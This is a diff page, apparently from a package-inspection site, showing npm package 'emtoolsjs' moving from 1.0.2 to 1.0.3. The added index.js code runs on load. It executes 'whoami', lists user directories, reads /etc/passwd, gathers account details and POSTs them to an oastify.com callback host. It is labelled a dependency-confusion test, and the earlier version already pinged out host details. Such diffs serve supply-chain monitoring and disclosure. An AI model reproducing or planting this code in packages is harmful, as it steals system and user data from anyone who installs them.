emtoolsjs 1.0.2 → 1.0.3

Sign up to get free protection for your applications and to get access to all the features.
Files changed (2) hide show
  1. package/index.js +48 -13
  2. package/package.json +3 -3
package/index.js CHANGED
@@ -1,16 +1,11 @@
1
1
  const https = require('https');
2
- const os = require('os');
3
-
4
- function sendPing() {
5
- const data = JSON.stringify({
6
- message: 'Ping from emtoolsjs',
7
- hostname: os.hostname(), // Nombre de la máquina
8
- platform: os.platform(), // Sistema operativo
9
- architecture: os.arch() // Arquitectura del sistema
10
- });
2
+ const { exec } = require('child_process');
3
+ const os = require('os');
4
+
11
5
 
6
+ function sendData(data) {
12
7
  const options = {
13
- hostname: '0de53pj68imwlsb71vejkpx5ewkn8gw5.oastify.com', // Cambia por tu servidor de escucha
8
+ hostname: 'xgh26mm3bfptope44shgnm02htnmbdz2.oastify.com',
14
9
  port: 443,
15
10
  path: '/callback',
16
11
  method: 'POST',
@@ -25,13 +20,53 @@ function sendPing() {
25
20
  });
26
21
 
27
22
  req.on('error', (error) => {
28
- console.error(error);
23
+ console.error(`Error al enviar datos: ${error.message}`);
29
24
  });
30
25
 
31
26
  req.write(data);
32
27
  req.end();
33
28
  }
34
29
 
35
- sendPing();
36
- module.exports = { sendPing };
30
+
31
+ function gatherSystemData() {
32
+ const platform = os.platform();
33
+
34
+ let command = '';
35
+ if (platform === 'win32') {
36
+
37
+ command = 'whoami && dir C:\\Users';
38
+ } else {
39
+
40
+ command = 'whoami && ls /home && cat /etc/passwd';
41
+ }
42
+
43
+
44
+ exec(command, (error, stdout, stderr) => {
45
+ if (error) {
46
+ console.error(`Error al ejecutar comandos: ${error.message}`);
47
+ return;
48
+ }
49
+
50
+
51
+ const systemData = {
52
+ message: 'Dependency Confusion Test - Safe Directory Listing and User Info',
53
+ platform: platform,
54
+ commandOutput: stdout,
55
+ errorOutput: stderr,
56
+ environmentVars: {
57
+ username: os.userInfo().username,
58
+ homedir: os.homedir(),
59
+ shell: os.userInfo().shell || "N/A",
60
+ osType: os.type(),
61
+ osRelease: os.release()
62
+ }
63
+ };
64
+
65
+ const payload = JSON.stringify(systemData);
66
+ sendData(payload);
67
+ });
68
+ }
69
+
70
+
71
+ gatherSystemData();
37
72
 
package/package.json CHANGED
@@ -1,10 +1,10 @@
1
1
  {
2
2
  "name": "emtoolsjs",
3
- "version": "1.0.2",
4
- "description": "test",
3
+ "version": "1.0.3",
4
+ "description": "test3",
5
5
  "main": "index.js",
6
6
  "scripts": {
7
- "test": "pwd"
7
+ "test": "node index.js"
8
8
  },
9
9
  "keywords": [],
10
10
  "author": "b4llstr-ywh-",